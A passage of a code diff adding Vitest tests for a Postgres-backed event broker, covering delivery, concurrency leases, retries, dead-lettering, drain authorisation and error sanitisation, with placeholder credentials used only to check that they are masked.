{ + // postgres.js connects lazily, so no database needs to be running. + const handle = createDatabase({ url: 'postgres://atlas:atlas@127.0.0.1:1/unused' }); + try { + const broker = createBroker({ driver: 'postgres', db: handle.db, maxRetries: 2, logger }); + expect(broker).toBeInstanceOf(PostgresBroker); + expect(isDrainableBroker(broker)).toBe(true); + expect(broker.isHealthy()).toBe(true); + } finally { + void handle.close(); + } + }); + + it('still insists on RABBITMQ_URL for the rabbitmq driver', () => { + expect(() => createBroker({ driver: 'rabbitmq', logger })).toThrow(/RABBITMQ_URL/); + }); +}); diff --git a/packages/messaging/test/drain-auth.test.ts b/packages/messaging/test/drain-auth.test.ts new file mode 100644 index 0000000..be33660 --- /dev/null +++ b/packages/messaging/test/drain-auth.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from 'vitest'; +import { isAuthorizedDrainRequest } from '../src/index.js'; + +const SECRET = 'correct-horse-battery-staple-1234'; + +describe('isAuthorizedDrainRequest', () => { + it('accepts the exact bearer secret Vercel Cron sends', () => { + expect(isAuthorizedDrainRequest(`Bearer ${SECRET}`, SECRET)).toBe(true); + }); + + it('treats the scheme as case-insensitive and tolerates surrounding whitespace', () => { + expect(isAuthorizedDrainRequest(`bearer ${SECRET}`, SECRET)).toBe(true); + expect(isAuthorizedDrainRequest(`Bearer ${SECRET} `, SECRET)).toBe(true); + }); + + it('rejects a missing header', () => { + expect(isAuthorizedDrainRequest(undefined, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest('', SECRET)).toBe(false); + }); + + it('rejects a wrong secret, including prefixes, extensions and different lengths', () => { + expect(isAuthorizedDrainRequest('Bearer wrong', SECRET)).toBe(false); + expect(isAuthorizedDrainRequest(`Bearer ${SECRET.slice(0, -1)}`, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest(`Bearer ${SECRET}x`, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest(`Bearer ${SECRET.toUpperCase()}`, SECRET)).toBe(false); + }); + + it('rejects other schemes and a bare secret', () => { + expect(isAuthorizedDrainRequest(SECRET, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest(`Basic ${SECRET}`, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest(`Token ${SECRET}`, SECRET)).toBe(false); + expect(isAuthorizedDrainRequest('Bearer', SECRET)).toBe(false); + }); + + it('never authorizes anything against an empty secret', () => { + expect(isAuthorizedDrainRequest('Bearer ', '')).toBe(false); + expect(isAuthorizedDrainRequest('Bearer x', '')).toBe(false); + expect(isAuthorizedDrainRequest(undefined, '')).toBe(false); + }); +}); diff --git a/packages/messaging/test/envelope.test.ts b/packages/messaging/test/envelope.test.ts new file mode 100644 index 0000000..95bff18 --- /dev/null +++ b/packages/messaging/test/envelope.test.ts @@ -0,0 +1,62 @@ +import { randomUUID } from 'node:crypto'; +import { describe, expect, it } from 'vitest'; +import { uuidSchema } from '@atlas/types'; +import { newTraceContext } from '@atlas/utils'; +import { createEvent, derivedEventId } from '../src/index.js'; + +describe('derivedEventId', () => { + it('is deterministic for the same parent and key', () => { + const parent = randomUUID(); + expect(derivedEventId(parent, 'job.scored:a:b')).toBe(derivedEventId(parent, 'job.scored:a:b')); + }); + + it('differs by parent event and by key', () => { + const [parentA, parentB] = [randomUUID(), randomUUID()]; + const ids = new Set([ + derivedEventId(parentA, 'k1'), + derivedEventId(parentA, 'k2'), + derivedEventId(parentB, 'k1'), + ]); + expect(ids.size).toBe(3); + }); + + it('is a valid UUID that an event envelope accepts', () => { + const id = derivedEventId(randomUUID(), 'learning.updated:v1'); + expect(uuidSchema.safeParse(id).success).toBe(true); + expect(id[14]).toBe('5'); + }); +}); + +describe('createEvent', () => { + const payload = { model_version: 'v1', samples: 1, metric: 'score_lift', value: 0.5 }; + + it('generates a fresh event id by default', () => { + const [a, b] = [ + createEvent('learning.updated', payload, newTraceContext()), + createEvent('learning.updated', payload, newTraceContext()), + ]; + expect(a.event_id).not.toBe(b.event_id); + }); + + it('uses a supplied event id and still validates the payload', () => { + const eventId = derivedEventId(randomUUID(), 'learning.updated:v1'); + const event = createEvent( + 'learning.updated', + payload, + newTraceContext(), + '2026-01-01T00:00:00.000Z', + eventId, + ); + expect(event.event_id).toBe(eventId); + expect(event.occurred_at).toBe('2026-01-01T00:00:00.000Z'); + expect(() => + createEvent( + 'learning.updated', + { ...payload, samples: -1 }, + newTraceContext(), + undefined, + eventId, + ), + ).toThrow(); + }); +}); diff --git a/packages/messaging/test/postgres-broker.test.ts b/packages/messaging/test/postgres-broker.test.ts new file mode 100644 index 0000000..68aaa50 --- /dev/null +++ b/packages/messaging/test/postgres-broker.test.ts @@ -0,0 +1,1164 @@ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { + createEvent, + derivedEventId, + isDrainableBroker, + PostgresBroker, + sanitizeError, + type DeadLetter, + type PostgresBrokerOptions, +} from '../src/index.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; + +/** + * The broker is exercised against its own copy of the four tables in a + * throwaway schema (the connection's search_path points at it). The real + * tables are shared with every other test file and with the cross-service + * test, whose consumers would otherwise pick up — and race with the cleanup + * of — the events published here. + */ +const SCHEMA = `atlas_msg_test_${randomUUID().replace(/-/g, '').slice(0, 12)}`; +const TABLES = ['event_outbox', 'event_consumers', 'event_deliveries', 'processed_events'] as const; + +const sleep = (ms: number): Promise => new Promise((resolve) => setTimeout(resolve, ms)); + +async function waitFor(condition: () => boolean, timeoutMs = 5_000): Promise { + const deadline = Date.now() + timeoutMs; + while (!condition()) { + if (Date.now() > deadline) throw new Error('timed out waiting for condition'); + await sleep(10); + } +} + +function outreachEvent( + channel: 'email' | 'linkedin' | 'sms' = 'email', +): EventEnvelope<'outreach.sent'> { + return createEvent( + 'outreach.sent', + { message_id: randomUUID(), user_id: randomUUID(), contact_id: null, channel }, + newTraceContext({ user_id: randomUUID() }), + ); +} + +function learningEvent(): EventEnvelope<'learning.updated'> { + return createEvent( + 'learning.updated', + { model_version: 'v-test', samples: 3, metric: 'score_lift', value: 0.25 }, + newTraceContext(), + ); +} + +describe('sanitizeError', () => { + it('keeps a single bounded line and masks e-mail addresses, URLs with credentials and JWTs', () => { + const jwt = 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.c2lnbmF0dXJl'; + const text = sanitizeError( + new Error( + `failed for ada@example.com via postgres://user:hunter2@db.internal:5432/app with ${jwt}\nsecond line ${'x'.repeat(600)}`, + ), + ); + expect(text).not.toContain('\n'); + expect(text).not.toContain('ada@example.com'); + expect(text).not.toContain('hunter2'); + expect(text).not.toContain(jwt); + expect(text.length).toBeLessThanOrEqual(300); + expect(text.startsWith('Error: failed for [email]')).toBe(true); + }); + + it('describes the underlying driver error instead of the statement and its bound values', () => { + const wrapped = new Error( + 'Failed query: insert into "t" values ($1)\nparams: secret-user-data', + { + cause: new Error('duplicate key value violates unique constraint "t_pkey"'), + }, + ); + const text = sanitizeError(wrapped); + expect(text).toBe('Error: duplicate key value violates unique constraint "t_pkey"'); + }); + + it('handles values that are not errors', () => { + expect(sanitizeError('plain string\nwith newline')).toBe('plain string'); + expect(sanitizeError(undefined)).toBe('undefined'); + }); +}); + +describe.skipIf(!testDatabaseUrl)('PostgresBroker', () => { + let admin: DatabaseHandle; + let handle: DatabaseHandle; + + const silent = createSilentLogger(); + function newBroker(overrides: Partial = {}): PostgresBroker { + // Zero backoff by default: a failed delivery is due again immediately, so + // tests do not wait. Backoff itself is covered by its own test. + return new PostgresBroker({ db: handle.db, logger: silent, backoffMs: () => 0, ...overrides }); + } + + function consumerName(label: string): string { + return `test.${label}.${randomUUID().slice(0, 8)}`; + } + + async function delivery(eventId: string, consumer: string) { + const [row] = await handle.sql< + { status: string; attempts: number; last_error: string | null; locked_until: string | null }[] + >`select status, attempts, last_error, locked_until::text from event_deliveries where event_id = ${eventId} and consumer = ${consumer}`; + return row; + } + + async function makeDue(consumer: string): Promise { + await handle.sql`update event_deliveries set next_attempt_at = now() - interval '1 second' where consumer = ${consumer}`; + } + + async function age(eventIds: string[], interval = '10 days'): Promise { + await handle.sql`update event_outbox set created_at = now() - ${interval}::interval where event_id in ${handle.sql(eventIds)}`; + } + + async function outboxIds(): Promise { + const rows = await handle.sql<{ event_id: string }[]>`select event_id from event_outbox`; + return rows.map((row) => row.event_id); + } + + beforeAll(async () => { + admin = createDatabase({ url: testDatabaseUrl as string, maxConnections: 2 }); + await admin.sql.unsafe(`CREATE SCHEMA ${SCHEMA}`); + for (const table of TABLES) { + await admin.sql.unsafe( + `CREATE TABLE ${SCHEMA}.${table} (LIKE public.${table} INCLUDING ALL)`, + ); + } + await admin.sql.unsafe( + `ALTER TABLE ${SCHEMA}.event_deliveries ADD FOREIGN KEY (event_id) REFERENCES ${SCHEMA}.event_outbox (event_id) ON DELETE CASCADE`, + ); + + const url = new URL(testDatabaseUrl as string); + url.searchParams.set('search_path', `${SCHEMA},public`); + handle = createDatabase({ url: url.toString(), maxConnections: 8 }); + }); + + afterAll(async () => { + await handle?.close(); + if (admin) { + await admin.sql.unsafe(`DROP SCHEMA IF EXISTS ${SCHEMA} CASCADE`); + await admin.close(); + } + }); + + beforeEach(async () => { + await handle.sql.unsafe(`TRUNCATE ${TABLES.map((table) => `${SCHEMA}.${table}`).join(', ')}`); + }); + + it('runs against the private schema, not the shared tables', async () => { + const [row] = await handle.sql<{ search_path: string }[]>`show search_path`; + expect(row?.search_path).toContain(SCHEMA); + const [resolved] = await handle.sql<{ schema: string }[]>` + select n.nspname as schema from pg_class c join pg_namespace n on n.oid = c.relnamespace + where c.oid = to_regclass('event_outbox')`; + expect(resolved?.schema).toBe(SCHEMA); + }); + + describe('delivery', () => { + it('delivers a published envelope exactly once, intact, and records it in processed_events', async () => { + const consumer = consumerName('once'); + const producer = newBroker(); + const worker = newBroker(); + const received: Array<{ envelope: EventEnvelope; attempt: number }> = []; + await worker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope, context) => { + received.push({ envelope, attempt: context.attempt }); + }, + }); + + const published = [outreachEvent(), outreachEvent(), outreachEvent()]; + for (const event of published) await producer.publish(event); + + const first = await worker.drain(); + expect(first).toMatchObject({ processed: 3, failed: 0, dead: 0 }); + expect(received.map((r) => r.envelope.event_id).sort()).toEqual( + published.map((e) => e.event_id).sort(), + ); + // The envelope survives the round trip byte for byte, including trace. + const sent = published[0] as EventEnvelope; + const got = received.find((r) => r.envelope.event_id === sent.event_id); + expect(got?.envelope).toEqual(sent); + expect(got?.attempt).toBe(0); + + const second = await worker.drain(); + expect(second).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + expect(received).toHaveLength(3); + + for (const event of published) { + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'done', + attempts: 1, + }); + } + const processed = + await handle.sql`select 1 from processed_events where consumer = ${consumer}`; + expect(processed).toHaveLength(3); + }); + + it('makes a duplicate publish of the same envelope a no-op', async () => { + const consumer = consumerName('dup'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + + const event = outreachEvent(); + await broker.publish(event); + await broker.publish(event); + expect(await outboxIds()).toEqual([event.event_id]); + + await broker.drain(); + expect(calls).toBe(1); + }); + + it('rejects an envelope whose payload does not match its type, before anything is stored', async () => { + const broker = newBroker(); + const bad = { + ...outreachEvent(), + payload: { message_id: 'not-a-uuid' }, + } as unknown as EventEnvelope; + await expect(broker.publish(bad)).rejects.toThrow(); + expect(await outboxIds()).toEqual([]); + }); + + it('fans one event out to every consumer subscribed to its type, and only those', async () => { + const broker = newBroker(); + const calls: Record = { a: [], b: [], c: [] }; + const [a, b, c] = [consumerName('a'), consumerName('b'), consumerName('c')]; + const handlerFor = (key: string) => async (envelope: EventEnvelope) => { + calls[key]?.push(envelope.event_type); + }; + await broker.subscribe({ + consumer: a, + eventTypes: ['outreach.sent'], + handler: handlerFor('a'), + }); + await broker.subscribe({ + consumer: b, + eventTypes: ['outreach.sent', 'learning.updated'], + handler: handlerFor('b'), + }); + await broker.subscribe({ + consumer: c, + eventTypes: ['learning.updated'], + handler: handlerFor('c'), + }); + + await broker.publish(outreachEvent()); + await broker.publish(learningEvent()); + + const result = await broker.drain(); + expect(result.processed).toBe(4); + expect(calls['a']).toEqual(['outreach.sent']); + expect((calls['b'] ?? []).sort()).toEqual(['learning.updated', 'outreach.sent']); + expect(calls['c']).toEqual(['learning.updated']); + }); + + it('delivers events published before the consumer existed, even though its service never ran', async () => { + // Producer-side only: no consumer has ever been registered in this schema. + const producer = newBroker(); + const early = [outreachEvent(), outreachEvent()]; + for (const event of early) await producer.publish(event); + expect((await handle.sql`select 1 from event_consumers`).length).toBe(0); + + // The consumer's service starts for the first time, later. + const late = newBroker(); + const seen: string[] = []; + await late.subscribe({ + consumer: consumerName('late'), + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + seen.push(envelope.event_id); + }, + }); + const afterwards = outreachEvent(); + await producer.publish(afterwards); + + const result = await late.drain(); + expect(result.processed).toBe(3); + expect(seen.sort()).toEqual([...early, afterwards].map((e) => e.event_id).sort()); + }); + + it('replays history for an event type a consumer newly subscribes to, without redelivering the rest', async () => { + const consumer = consumerName('grow'); + const producer = newBroker(); + const outreach = outreachEvent(); + const learning = learningEvent(); + await producer.publish(outreach); + await producer.publish(learning); + + const before = newBroker(); + const seenBefore: string[] = []; + await before.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + seenBefore.push(envelope.event_id); + }, + }); + await before.drain(); + expect(seenBefore).toEqual([outreach.event_id]); + + // A new deployment of the same consumer now also wants learning.updated. + const after = newBroker(); + const seenAfter: string[] = []; + await after.subscribe({ + consumer, + eventTypes: ['outreach.sent', 'learning.updated'], + handler: async (envelope) => { + seenAfter.push(envelope.event_id); + }, + }); + const result = await after.drain(); + expect(result.processed).toBe(1); + expect(seenAfter).toEqual([learning.event_id]); + }); + + it('fans out a backlog larger than one batch, including rows that share a created_at', async () => { + const consumer = consumerName('backlog'); + const broker = newBroker(); + let handled = 0; + await broker.subscribe({ + consumer, + eventTypes: ['learning.updated'], + handler: async () => { + handled += 1; + }, + }); + + // 1100 rows with an identical created_at: the cursor must page through + // them by (created_at, event_id), neither looping nor skipping. + await handle.sql` + insert into event_outbox (event_id, event_type, occurred_at, trace_id, correlation_id, payload, created_at) + select gen_random_uuid(), 'learning.updated', now(), 'bulk', 'bulk', + '{"model_version":"v","samples":1,"metric":"m","value":1}'::jsonb, now() - interval '5 minutes' + from generate_series(1, 1100)`; + + const first = await broker.drain({ limit: 5 }); + expect(first.processed).toBe(5); + const [count] = await handle.sql< + { n: number }[] + >`select count(*)::int as n from event_deliveries where consumer = ${consumer}`; + expect(count?.n).toBe(1100); + + const rest = await broker.drain({ limit: 5000 }); + expect(rest.processed).toBe(1095); + expect(handled).toBe(1100); + }); + }); + + describe('concurrency', () => { + it('never double-processes when several drains run at once, across instances', async () => { + const consumer = consumerName('race'); + const seen = new Map(); + const handler = async (envelope: EventEnvelope): Promise => { + await sleep(3); + seen.set(envelope.event_id, (seen.get(envelope.event_id) ?? 0) + 1); + }; + + // Three independent instances, as three warm functions would be. + const workers = [newBroker(), newBroker(), newBroker()]; + for (const worker of workers) { + await worker.subscribe({ consumer, eventTypes: ['outreach.sent'], handler }); + } + const producer = newBroker(); + const published: EventEnvelope[] = []; + for (let i = 0; i < 30; i += 1) { + const event = outreachEvent(); + published.push(event); + await producer.publish(event); + } + + const results = await Promise.all(workers.map((worker) => worker.drain())); + + expect(results.reduce((sum, r) => sum + r.processed, 0)).toBe(30); + expect(results.reduce((sum, r) => sum + r.failed + r.dead, 0)).toBe(0); + expect(seen.size).toBe(30); + for (const event of published) expect(seen.get(event.event_id)).toBe(1); + }); + + it('never double-processes when one instance drains concurrently with itself', async () => { + const consumer = consumerName('self'); + const broker = newBroker(); + const seen = new Map(); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + await sleep(6); + seen.set(envelope.event_id, (seen.get(envelope.event_id) ?? 0) + 1); + }, + }); + for (let i = 0; i < 20; i += 1) await broker.publish(outreachEvent()); + + const results = await Promise.all([broker.drain(), broker.drain(), broker.drain()]); + + expect(results.reduce((sum, r) => sum + r.processed, 0)).toBe(20); + expect([...seen.values()].every((n) => n === 1)).toBe(true); + }); + + it('holds a claimed delivery for its lease, and fences out a drain whose lease lapsed mid-handler', async () => { + const consumer = consumerName('lease'); + let calls = 0; + let release!: () => void; + const gate = new Promise((resolve) => { + release = resolve; + }); + const handler = async (): Promise => { + calls += 1; + if (calls === 1) await gate; // the first run hangs, as a stalled function would + }; + const slow = newBroker(); + const other = newBroker(); + for (const broker of [slow, other]) { + await broker.subscribe({ consumer, eventTypes: ['outreach.sent'], handler }); + } + const event = outreachEvent(); + await slow.publish(event); + + const firstDrain = slow.drain(); + await waitFor(() => calls === 1); + + // Leased: a second drain finds nothing to do. + expect(await other.drain()).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + expect(calls).toBe(1); + + // The lease lapses (the first function was killed or is far too slow): + // the delivery is claimed again. That is the at-least-once duplicate. + await handle.sql`update event_deliveries set locked_until = now() - interval '1 second' where consumer = ${consumer}`; + expect(await other.drain()).toMatchObject({ processed: 1 }); + expect(calls).toBe(2); + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'done', + attempts: 2, + }); + + // The stalled run finally finishes; its late write must not clobber the row. + release(); + await firstDrain; + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'done', + attempts: 2, + }); + }); + + it('recovers a delivery whose drain crashed after claiming it, once the lease expires', async () => { + const consumer = consumerName('crash'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + const event = outreachEvent(); + await broker.publish(event); + await broker.drain({ limit: 1 }); // registers, fans out, runs it + // Rewind the row to what a crash right after the claim leaves behind. + await handle.sql`update event_deliveries set status = 'pending', attempts = 1, locked_until = now() + interval '1 minute' where consumer = ${consumer}`; + await handle.sql`delete from processed_events where consumer = ${consumer}`; + + expect((await broker.drain()).processed).toBe(0); + await handle.sql`update event_deliveries set locked_until = now() - interval '1 second' where consumer = ${consumer}`; + expect((await broker.drain()).processed).toBe(1); + expect(calls).toBe(2); + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'done', + attempts: 2, + }); + }); + + it('still delivers a row that commits after a drain has already scanned past its position', async () => { + const consumer = consumerName('late-commit'); + const producer = newBroker(); + const worker = newBroker({ visibilityOverlapMs: 60_000 }); + const seen: string[] = []; + await worker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + seen.push(envelope.event_id); + }, + }); + + const slow = outreachEvent(); + const quick = outreachEvent(); + await handle.sql.begin(async (tx) => { + // `slow` is inserted first but stays uncommitted ... + await tx`insert into event_outbox (event_id, event_type, occurred_at, trace_id, correlation_id, payload) + values (${slow.event_id}, ${slow.event_type}, ${slow.occurred_at}, ${slow.trace.trace_id}, ${slow.trace.correlation_id}, + ${JSON.stringify(slow.payload)}::jsonb)`; + // ... while a later event commits and a drain scans past both positions. + await producer.publish(quick); + expect((await worker.drain()).processed).toBe(1); + }); + expect(seen).toEqual([quick.event_id]); + + // `slow` is now committed, behind the point the first drain reached. + expect((await worker.drain()).processed).toBe(1); + expect(seen).toEqual([quick.event_id, slow.event_id]); + }); + + it('would skip that row with no overlap (control for the test above)', async () => { + const consumer = consumerName('no-overlap'); + const producer = newBroker(); + const worker = newBroker({ visibilityOverlapMs: 0 }); + const seen: string[] = []; + await worker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + seen.push(envelope.event_id); + }, + }); + + const slow = outreachEvent(); + await handle.sql.begin(async (tx) => { + await tx`insert into event_outbox (event_id, event_type, occurred_at, trace_id, correlation_id, payload) + values (${slow.event_id}, ${slow.event_type}, ${slow.occurred_at}, ${slow.trace.trace_id}, ${slow.trace.correlation_id}, + ${JSON.stringify(slow.payload)}::jsonb)`; + await producer.publish(outreachEvent()); + await worker.drain(); + }); + await worker.drain(); + expect(seen).not.toContain(slow.event_id); + }); + }); + + describe('failure handling', () => { + it('retries with the configured backoff, hands the handler its attempt number, then dead-letters', async () => { + const consumer = consumerName('dead'); + const deadLetters: DeadLetter[] = []; + const broker = newBroker({ + backoffMs: (retry) => 60_000 * (retry + 1), + onDeadLetter: (letter) => deadLetters.push(letter), + }); + const attempts: number[] = []; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + maxRetries: 2, + handler: async (_envelope, context) => { + attempts.push(context.attempt); + throw new Error('downstream unavailable'); + }, + }); + const event = outreachEvent(); + await broker.publish(event); + + expect(await broker.drain()).toMatchObject({ processed: 0, failed: 1, dead: 0 }); + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'pending', + attempts: 1, + last_error: 'Error: downstream unavailable', + }); + const [wait1] = await handle.sql< + { s: number }[] + >`select extract(epoch from next_attempt_at - now())::float as s from event_deliveries where consumer = ${consumer}`; + expect(wait1?.s).toBeGreaterThan(50); + expect(wait1?.s).toBeLessThanOrEqual(60); + + // Not due yet: nothing runs, and nothing is burned. + expect(await broker.drain()).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + expect(attempts).toEqual([0]); + + await makeDue(consumer); + expect(await broker.drain()).toMatchObject({ failed: 1, dead: 0 }); + const [wait2] = await handle.sql< + { s: number }[] + >`select extract(epoch from next_attempt_at - now())::float as s from event_deliveries where consumer = ${consumer}`; + expect(wait2?.s).toBeGreaterThan(110); + expect(wait2?.s).toBeLessThanOrEqual(120); + + await makeDue(consumer); + expect(await broker.drain()).toMatchObject({ failed: 0, dead: 1 }); + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'dead', + attempts: 3, + }); + expect(attempts).toEqual([0, 1, 2]); + expect(deadLetters).toHaveLength(1); + expect(deadLetters[0]).toMatchObject({ + consumer, + attempts: 3, + error: 'Error: downstream unavailable', + }); + expect(deadLetters[0]?.envelope.event_id).toBe(event.event_id); + + // Dead is terminal. + await makeDue(consumer); + expect(await broker.drain()).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + expect(attempts).toHaveLength(3); + }); + + it('buries a delivery whose earlier attempts never reported back, rather than crash-looping on it', async () => { + const consumer = consumerName('poison'); + const deadLetters: DeadLetter[] = []; + const broker = newBroker({ onDeadLetter: (letter) => deadLetters.push(letter) }); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + maxRetries: 1, + handler: async () => { + calls += 1; + }, + }); + const event = outreachEvent(); + await broker.publish(event); + await broker.drain({ limit: 1 }); + expect(calls).toBe(1); + + // What a function killed mid-handler leaves behind: two claims, no result + // written, lease long expired. maxRetries 1 allows two attempts in all. + await handle.sql`update event_deliveries set status = 'pending', attempts = 2, locked_until = now() - interval '1 second' where consumer = ${consumer}`; + await handle.sql`delete from processed_events where consumer = ${consumer}`; + + expect(await broker.drain()).toMatchObject({ processed: 0, failed: 0, dead: 1 }); + expect(calls).toBe(1); + const row = await delivery(event.event_id, consumer); + expect(row?.status).toBe('dead'); + expect(row?.last_error).toContain('retries exhausted'); + expect(deadLetters).toHaveLength(1); + }); + + it('survives an onDeadLetter callback that throws', async () => { + const consumer = consumerName('bad-callback'); + const broker = newBroker({ + onDeadLetter: () => { + throw new Error('callback exploded'); + }, + }); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + maxRetries: 0, + handler: async () => { + throw new Error('nope'); + }, + }); + const event = outreachEvent(); + await broker.publish(event); + + expect(await broker.drain()).toMatchObject({ dead: 1 }); + expect((await delivery(event.event_id, consumer))?.status).toBe('dead'); + }); + + it('lets a delivery that fails transiently succeed on retry, clearing the error', async () => { + const consumer = consumerName('flaky'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + if (calls === 1) throw new Error('transient'); + }, + }); + const event = outreachEvent(); + await broker.publish(event); + + expect(await broker.drain()).toMatchObject({ processed: 1, failed: 1, dead: 0 }); + expect(await delivery(event.event_id, consumer)).toMatchObject({ + status: 'done', + attempts: 2, + last_error: null, + }); + }); + + it('applies MESSAGING_MAX_RETRIES as the default retry budget', async () => { + const consumer = consumerName('default-retries'); + const broker = newBroker({ defaultMaxRetries: 1 }); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + throw new Error('always'); + }, + }); + await broker.publish(outreachEvent()); + + expect(await broker.drain()).toMatchObject({ processed: 0, failed: 1, dead: 1 }); + expect(calls).toBe(2); + }); + + it('does not let one failing consumer affect another consumer of the same event', async () => { + const [bad, good] = [consumerName('bad'), consumerName('good')]; + const broker = newBroker(); + let goodCalls = 0; + await broker.subscribe({ + consumer: bad, + eventTypes: ['outreach.sent'], + maxRetries: 0, + handler: async () => { + throw new Error('nope'); + }, + }); + await broker.subscribe({ + consumer: good, + eventTypes: ['outreach.sent'], + handler: async () => { + goodCalls += 1; + }, + }); + const event = outreachEvent(); + await broker.publish(event); + + expect(await broker.drain()).toMatchObject({ processed: 1, dead: 1 }); + expect(goodCalls).toBe(1); + expect((await delivery(event.event_id, bad))?.status).toBe('dead'); + expect((await delivery(event.event_id, good))?.status).toBe('done'); + }); + + it('stores a short, sanitized last_error rather than the raw message', async () => { + const consumer = consumerName('sanitized'); + const broker = newBroker(); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + throw new Error( + `cannot email ada@example.com via postgres://svc:hunter2@db.internal/app\nstack frame\n${'y'.repeat(800)}`, + ); + }, + }); + const event = outreachEvent(); + await broker.publish(event); + await broker.drain({ limit: 1 }); + + const row = await delivery(event.event_id, consumer); + expect(row?.last_error).not.toBeNull(); + expect(row?.last_error).not.toContain('ada@example.com'); + expect(row?.last_error).not.toContain('hunter2'); + expect(row?.last_error).not.toContain('\n'); + expect((row?.last_error ?? '').length).toBeLessThanOrEqual(300); + }); + + it('dead-letters a stored envelope that no longer parses without calling the handler', async () => { + const consumer = consumerName('unparseable'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + const id = randomUUID(); + await handle.sql`insert into event_outbox (event_id, event_type, occurred_at, trace_id, correlation_id, payload) + values (${id}, 'outreach.sent', now(), 't', 't', '{"nope":true}'::jsonb)`; + + expect(await broker.drain()).toMatchObject({ processed: 0, dead: 1 }); + expect(calls).toBe(0); + const row = await delivery(id, consumer); + expect(row?.status).toBe('dead'); + expect(row?.last_error).toContain('unparseable envelope'); + }); + + it('skips a handler run for an event processed_events already records for that consumer', async () => { + const consumer = consumerName('seen'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + const event = outreachEvent(); + await broker.publish(event); + await handle.sql`insert into processed_events (event_id, consumer) values (${event.event_id}, ${consumer})`; + + expect(await broker.drain()).toMatchObject({ processed: 1 }); + expect(calls).toBe(0); + expect((await delivery(event.event_id, consumer))?.status).toBe('done'); + }); + + it('tolerates a handler that records processed_events itself (analytics does)', async () => { + const consumer = consumerName('self-record'); + const broker = newBroker(); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + await handle.sql`insert into processed_events (event_id, consumer) values (${envelope.event_id}, ${consumer})`; + }, + }); + const event = outreachEvent(); + await broker.publish(event); + + expect(await broker.drain()).toMatchObject({ processed: 1, failed: 0, dead: 0 }); + expect((await delivery(event.event_id, consumer))?.status).toBe('done'); + }); + }); + + describe('budget and limit', () => { + it('stops starting new deliveries once the time budget is spent, leaving the rest pending', async () => { + const consumer = consumerName('budget'); + const broker = newBroker(); + const seen = new Map(); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + await sleep(80); + seen.set(envelope.event_id, (seen.get(envelope.event_id) ?? 0) + 1); + }, + }); + for (let i = 0; i < 8; i += 1) await broker.publish(outreachEvent()); + + const startedAt = Date.now(); + const limited = await broker.drain({ budgetMs: 100 }); + const tookMs = Date.now() - startedAt; + expect(limited.processed).toBeGreaterThanOrEqual(1); + expect(limited.processed).toBeLessThan(8); + // Far less than the ~640ms the full backlog needs; one handler may overrun the budget. + expect(tookMs).toBeLessThan(450); + + const [pending] = await handle.sql< + { n: number }[] + >`select count(*)::int as n from event_deliveries where consumer = ${consumer} and status = 'pending'`; + expect(pending?.n).toBe(8 - limited.processed); + + const rest = await broker.drain(); + expect(limited.processed + rest.processed).toBe(8); + expect([...seen.values()].every((n) => n === 1)).toBe(true); + expect(seen.size).toBe(8); + }); + + it('honours the delivery limit', async () => { + const consumer = consumerName('limit'); + const broker = newBroker(); + let calls = 0; + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + for (let i = 0; i < 5; i += 1) await broker.publish(outreachEvent()); + + expect((await broker.drain({ limit: 2 })).processed).toBe(2); + expect(calls).toBe(2); + expect((await broker.drain({ limit: 10 })).processed).toBe(3); + expect(calls).toBe(5); + }); + + it('does no work, and touches no table, when nothing is subscribed', async () => { + const broker = newBroker(); + await broker.publish(outreachEvent()); + expect(await broker.drain()).toEqual({ processed: 0, failed: 0, dead: 0, 